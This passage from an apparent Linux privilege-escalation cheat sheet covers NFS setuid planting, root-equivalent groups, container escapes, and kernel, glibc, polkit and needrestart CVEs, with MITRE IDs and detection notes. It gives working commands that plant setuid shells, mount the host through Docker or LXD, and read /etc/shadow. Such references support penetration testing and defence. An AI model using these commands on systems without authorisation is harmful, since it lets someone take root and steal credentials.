findmnt -no OPTIONS /share # or: mount | grep nfs (watch for nosuid/noexec)
# Plant a setuid shell as root, run on target
# on a box where you are root:
mount -t nfs <server>:/share /mnt
cp /bin/bash /mnt/rootbash; chmod +s /mnt/rootbash
# back on the target as the low-priv user:
/share/rootbash -p
MITRE ATT&CK: T1548.001
References
OPSEC / detection: The setuid binary on the share is visible to anyone inspecting the export, and its execution as root shows in process auditing. Remove it once you have a shell. Architecture matters: the planted binary runs on the target, so if your box and the target differ (CPU arch or glibc version) copy the target's own /bin/bash over the mount, or drop a statically-linked shell, rather than your attack host's binary.
Groups & Containers
category Privileged Groups & Containers
Escape a container or ride a root-equivalent group to the host.
Some group memberships (docker, lxd, disk) are root by another name, and a mis-scoped container is a shell away from the host. Drive the Docker daemon, spin an LXD image, or exploit an over-permissioned or vulnerable runtime to break out to the underlying host.
MITRE ATT&CK: T1611
References
Dangerous Group Membership
disk (raw block-device = read/rewrite any file) is root-equivalent; shadow, adm, and video grant access that shortcuts or leads to root.
Supplementary group membership confers access independent of sudo, and several groups are effectively root. disk grants raw access to block devices (read /dev/sda to pull /etc/shadow and other root-owned files; writing a root-owned file is not casual, debugfs refuses it and raw-device surgery on a live mount is fragile). shadow reads password hashes to crack. adm reads sensitive logs. video captures the console framebuffer. Check id for a group that shortcuts to root, and abuse the access it grants.
Requires
- Membership in a root-equivalent group (disk, shadow, adm, video) or another group with sensitive access
Example commands
# Check your groups
id; getent group disk shadow adm video
# disk group: read the raw filesystem
debugfs -R 'cat /etc/shadow' /dev/sda1 # or dd the device
MITRE ATT&CK: T1078.003
References
OPSEC / detection: Reading a block device or the framebuffer is unusual for a normal user and observable by auditd. The access is legitimate for the group, so the anomaly is in what you do with it.
Docker Socket / Group
Access to the Docker daemon is root: mount the host and break out.
The Docker daemon runs as root, so any principal that can talk to it (membership in the docker group, or a readable /var/run/docker.sock) is effectively root on the host. Run a container that bind-mounts the host filesystem and chroot into it, or write a setuid binary onto the host from inside. No container escape bug is needed; this is the daemon working as designed.
Requires
- Membership in the docker group or access to the Docker socket (/var/run/docker.sock)
Example commands
# Confirm access
id -nG | grep -qw docker && echo 'in docker group'; ls -la /var/run/docker.sock; docker ps
# Mount the host and get root
docker run -v /:/host --rm -it alpine chroot /host bash
# or drop a setuid bash onto the host from the container
MITRE ATT&CK: T1611
References
OPSEC / detection: Starting a privileged container that mounts / is a loud, well-known pattern in container-runtime and EDR telemetry. The docker CLI logs to the daemon journal.
LXD Group
The lxd group drives the root LXD daemon; mount the host in a container.
Membership in the lxd group (the group owning the LXD daemon Unix socket) lets you drive the LXD daemon, which runs as root. Import a small image, launch a privileged container that bind-mounts the host root filesystem, and read or write it as root from inside the container. Like the Docker socket, this is the daemon trusting the group rather than a vulnerability.
Requires
- Membership in the lxd group
Example commands
# Confirm and initialise
id | grep -o lxd; lxd init --auto
# Privileged container mounting the host
lxc image import ./alpine.tar.gz --alias a
lxc launch a p -c security.privileged=true
lxc config device add p host disk source=/ path=/mnt/root recursive=true
lxc exec p /bin/sh # host FS is at /mnt/root
MITRE ATT&CK: T1611
References
OPSEC / detection: Creating a privileged container and adding a host disk device is recorded by LXD and is anomalous on a host that does not normally run user containers.
Container Escape
Break out of an over-permissioned container to the host: privileged, caps, cgroups.
First confirm you are inside a container (/.dockerenv, cgroup names, a sparse process table). A privileged container, or one granted CAP_SYS_ADMIN or a host mount, escapes by design: abuse the release_agent via cgroups (CVE-2022-0492 where notify_on_release is reachable), mount the host disk, or load a kernel module. A mounted Docker/containerd socket inside the container is the same daemon-abuse path as on the host.
Requires
- Execution inside a container that is privileged, holds a dangerous capability, mounts host paths, or exposes a runtime socket
Example commands
# Detect the container and its powers
ls -la /.dockerenv 2>/dev/null; cat /proc/1/cgroup
capsh --print 2>/dev/null || grep Cap /proc/self/status # procfs fallback where capsh is absent (minimal/distroless images)
mount | grep -iE 'docker|overlay|host'
# cgroups release_agent escape (privileged)
# CVE-2022-0492 class: write a release_agent that runs on the host
# requires cgroup v1 (release_agent/notify_on_release are v1-only); on cgroup v2-only
# hosts (/proc/1/cgroup shows a single 0::/ line) pivot to a host mount, kernel module,
# or a mounted runtime socket instead
# see the Unit 42 writeup below for the full cgroupfs-mount / notify_on_release sequence
MITRE ATT&CK: T1611
References
OPSEC / detection: Escapes touch the host from inside a container, which is exactly what container security monitoring watches for (release_agent writes, host mounts, unexpected host processes).
Container Runtime CVEs
Escape via a runtime bug: Leaky Vessels (runc), the 2025 runc trio.
Even a well-scoped container falls to a bug in the runtime itself. Leaky Vessels (CVE-2024-21626) abuses a leaked file descriptor so a container process working directory resolves into the host filesystem, allowing a full escape on runc <=1.1.11. The November 2025 runc trio (CVE-2025-31133 / 52565 / 52881) abuses masked-path and mount races to redirect writes into /proc and break out. Match the runc version to the CVE.
Requires
- A container on a vulnerable runtime version (runc <=1.1.11 for Leaky Vessels; the fixed 1.2.8/1.3.3/1.4.0-rc.3 close the 2025 trio)
Example commands
# Identify the runtime version
runc --version 2>/dev/null; docker version 2>/dev/null | grep -i runc
MITRE ATT&CK: T1611
References
OPSEC / detection: Runtime exploits are version-specific; confirm the runc build first. The escape produces host-side activity (new host processes, writes outside the container) that runtime monitoring flags.
Kernel & Libraries
category Kernel & Library Exploits
Exploit a bug in the kernel, a core library, or a versioned service.
When the configuration is clean, a code bug still works. Match the exact kernel, glibc, polkit, or service version to a public exploit: Dirty Pipe, GameOver(lay), nf_tables, Looney Tunables, PwnKit and their kin turn an unprivileged shell into root on an unpatched host.
MITRE ATT&CK: T1068
References
Kernel Exploit
Match the kernel version to a public exploit: Dirty Pipe, GameOver(lay), nf_tables.
When the configuration is clean, the kernel itself is the target. Fingerprint the exact kernel and distro point release, then match it to a public exploit. Dirty Pipe (CVE-2022-0847) overwrites read-only files via a pipe-buffer flaw on 5.8+. GameOver(lay) (CVE-2023-2640 / 32629) abuses Ubuntu OverlayFS. nf_tables use-after-frees (CVE-2024-1086, CVE-2023-32233) are the modern memory-corruption workhorses, with io_uring (CVE-2024-0582, a narrow 6.4-6.7 patch-gap UAF) a more situational option; DirtyCow (CVE-2016-5195) still applies to old kernels. Prefer a public exploit matched to the exact version over a shotgun.
Requires
- A kernel/distro version matching a known local-privesc exploit (and, for some, unprivileged user namespaces enabled)
Example commands
# Fingerprint the kernel
uname -r; cat /etc/os-release
# then match against exploit-db / the CVE, e.g. Dirty Pipe on 5.8-5.16.x
# Check namespace reachability
cat /proc/sys/user/max_user_namespaces
sysctl kernel.apparmor_restrict_unprivileged_userns 2>/dev/null # Ubuntu 23.10+ real gate (1 = restricted)
cat /proc/sys/kernel/unprivileged_userns_clone 2>/dev/null # Debian/Ubuntu legacy knob
unshare -Ur id # live test: EUID 0 in the new userns means reachable
Tools
MITRE ATT&CK: T1068
References
OPSEC / detection: Kernel exploits can panic the box; run a version-matched, tested PoC, not a blind attempt. A crash and reboot are the loudest possible outcome. Some paths need unprivileged user namespaces, which hardened hosts disable.
glibc / Loader (Looney Tunables)
Exploit a bug in glibc or the dynamic loader for root.
The C library and dynamic loader are as privileged a target as the kernel. Looney Tunables (CVE-2023-4911) is a buffer overflow in ld.so parsing GLIBC_TUNABLES, reachable through any setuid binary on glibc 2.34+ across default Fedora/Ubuntu/Debian installs. A separate glibc bug class is the __vsyslog_internal heap overflows (CVE-2023-6246 / 6779): these live in the syslog()/vsyslog() code path, not the loader, and are triggered when a privileged program itself calls syslog() with an oversized argv[0] or message, not through the setuid loader. They were introduced in glibc 2.37 (CVE-2023-6246 backported to 2.36) and do not exist on 2.34/2.35. musl-based distros (Alpine) are unaffected. Check the glibc version before firing.
Requires
- A vulnerable glibc version (2.34+ for Looney Tunables, triggered via a setuid binary through the loader; the syslog CVEs are 2.36/2.37+ and need a privileged program that calls syslog())
Example commands
# Check the glibc version
ldd --version | head -1
# or run libc directly for a version banner (path is distro-specific):
$(ldd $(which ls) | grep -o '/.*/libc.so.6') # Debian/Ubuntu: /lib/x86_64-linux-gnu/libc.so.6, Fedora/RHEL: /lib64/libc.so.6
MITRE ATT&CK: T1068
References
OPSEC / detection: A failed loader exploit can crash the triggering process and leave core dumps. The version gate is strict; confirm glibc before attempting.
polkit / pkexec (PwnKit)
Abuse the polkit authorization stack: PwnKit, or the 2025 udisks chain.
The polkit/D-Bus authorization stack repeatedly grants local root. PwnKit (CVE-2021-4034) is a memory-corruption bug in pkexec exploitable by any local user on years of default installs. The 2025 story is authorization abuse rather than memory corruption: CVE-2025-6018 makes an SSH session count as allow_active on SUSE, and CVE-2025-6019 (libblockdev via udisks, default on most distros) lets an allow_active user mount a crafted filesystem without nosuid and run a planted setuid shell. Check pkexec/polkit versions.
Requires
- A vulnerable polkit/pkexec (PwnKit) or a udisks/libblockdev stack reachable with allow_active
Example commands
# Check versions
pkexec --version
dpkg -l 2>/dev/null | grep -E 'polkit|pkexec|udisks|libblockdev' # Debian/Ubuntu (polkitd/pkexec after the packaging split)
rpm -qa 2>/dev/null | grep -Ei 'polkit|pkexec|udisks|libblockdev' # SUSE/Fedora (the CVE-2025-6018 target)
MITRE ATT&CK: T1068
References
OPSEC / detection: PwnKit is reliable but well-signatured; EDR and auditd rules for pkexec abuse are widespread. The udisks path mounts a filesystem, which is an observable event.
Service Version Exploit
Identify a local service or app by exact version and run its public exploit.
Beyond the kernel and core libraries, a locally running or setuid service can carry its own CVE. Fingerprint the exact version of anything privileged (a management daemon, a monitoring agent, an old setuid utility like screen 4.5.0, a printer stack like CUPS) and match it to a public exploit or PoC. needrestart (CVE-2024-48990), which runs as root during package operations on Ubuntu, is a recent high-value example handled in its own note.
Requires
- A privileged local service or setuid app whose exact version matches a public exploit
Example commands
# Version the privileged software
dpkg -l 2>/dev/null | less; rpm -qa 2>/dev/null
<service> --version # for each root-run/setuid program
MITRE ATT&CK: T1068
References
OPSEC / detection: A version-matched exploit is far quieter than a blind one. Some service exploits restart or crash the daemon; weigh the disruption on a monitored host.
needrestart (CVE-2024-48990)
needrestart runs as root and trusts attacker env vars during package ops.
needrestart, installed by default on Ubuntu Server, runs as root after package operations. It scans running processes and, for each one it thinks uses a Python/Ruby interpreter, re-reads PYTHONPATH/RUBYLIB from that process's /proc/<pid>/environ and passes it to the interpreter it launches as root. Keep a long-running process alive with a poisoned PYTHONPATH pointing at an attacker-writable dir, and when a package op triggers needrestart your module loads as root. The Qualys advisory covers the family (CVE-2024-48990/48991/48992 and related). Fixed in needrestart 3.8; check the installed version.
Requires
- needrestart < 3.8 present, and a running process needrestart identifies as a Python/Ruby interpreter that carries a poisoned PYTHONPATH/RUBYLIB in its environment at scan time
Example commands
# Check the version
needrestart --version 2>/dev/null; dpkg -l needrestart 2>/dev/null
MITRE ATT&CK: T1068
References
OPSEC / detection: The trigger depends on needrestart running (a package install/upgrade), which may not be attacker-controlled. The interpreter loading an unexpected module as root is the observable signal.
Recent Named LPEs (awareness)
Awareness only: Copy Fail, Dirty Frag, the ptrace LPE, nf_tables 2026.
A cluster of named Linux LPEs disclosed in 2026 that you should recognise on a version check, listed here for awareness with no exploitation detail. Copy Fail (CVE-2026-31431) is a Dirty-Pipe-class page-cache write primitive in the AF_ALG/AEAD crypto path. Dirty Frag (CVE-2026-43284) is a related page-cache write chain in the xfrm-ESP/RxRPC paths (generally needs CAP_NET_ADMIN). The kernel ptrace LPE (CVE-2026-46333) chains a __ptrace_may_access flaw with pidfd_getfd to steal FDs and read secrets. nf_tables (CVE-2026-23111) is another netfilter use-after-free reachable via unprivileged user namespaces. Match the kernel version and patch level; exploitation specifics are intentionally omitted.
Requires
- An unpatched kernel in the affected range (verify against your distro tracker; some paths need CAP_NET_ADMIN or user namespaces)
MITRE ATT&CK: T1068
References
OPSEC / detection: Listed for situational awareness. As with any kernel exploit, a version-matched, tested implementation is essential; a blind attempt risks a panic. Interim mitigations include kernel.yama.ptrace_scope=2 for the ptrace path.